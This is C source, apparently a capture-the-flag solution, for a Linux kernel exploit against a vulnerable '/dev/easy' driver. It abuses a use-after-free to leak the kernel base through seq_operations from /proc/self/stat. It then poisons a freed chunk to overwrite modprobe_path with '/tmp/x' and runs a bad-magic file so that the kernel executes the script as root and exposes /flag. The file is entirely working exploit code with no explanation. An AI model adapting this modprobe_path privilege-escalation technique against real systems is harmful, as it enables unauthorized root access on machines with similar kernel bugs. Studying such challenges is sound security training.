1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| #define _GNU_SOURCE #include <stdio.h> #include <fcntl.h> #include <stdlib.h> #include <unistd.h> #include <sys/ioctl.h>
int dev_fd;
typedef struct{ long size; }req;
void alloc(long size){ req data ={ .size = size, }; ioctl(dev_fd, 0, data); }
void del(){ req data; ioctl(dev_fd, 1, data); }
void kread(size_t *buf,int size){ read(dev_fd, buf, size); }
void kwrite(size_t *buf,int size){ write(dev_fd, buf, size); }
int main() { dev_fd = open("/dev/easy",2); if (dev_fd < 0) perror("[X] Error Open");
alloc(0x20); del();
int seq_fd = open("/proc/self/stat",0);
size_t buf[0x100]; kread(buf,0x20);
size_t kernel_offset = buf[0] - 0xffffffff8125bcc0; size_t kernel_base = kernel_offset + 0xffffffff81000000; printf("offset 0x%lx\n", kernel_offset); printf("base 0x%lx\n", kernel_base);
alloc(0x60);
del();
size_t tmp[0x20]; kread(tmp, 0x8); printf("val of fd 0x%lx\n", tmp[0]);
del();
size_t modp_path = kernel_offset + 0xffffffff81e58b80; buf[0] = modp_path-8;
kwrite(buf, 8);
alloc(0x60); buf[0] = tmp[0]; kwrite(buf, 0x8);
alloc(0x60);
buf[0] = 0; buf[1] = 0x00782F706D742F;
kwrite(buf, 0x10);
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/x"); system("chmod +x /tmp/x"); system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); system("chmod +x /tmp/dummy"); system("/tmp/dummy"); system("cat /flag");
return 0; }
|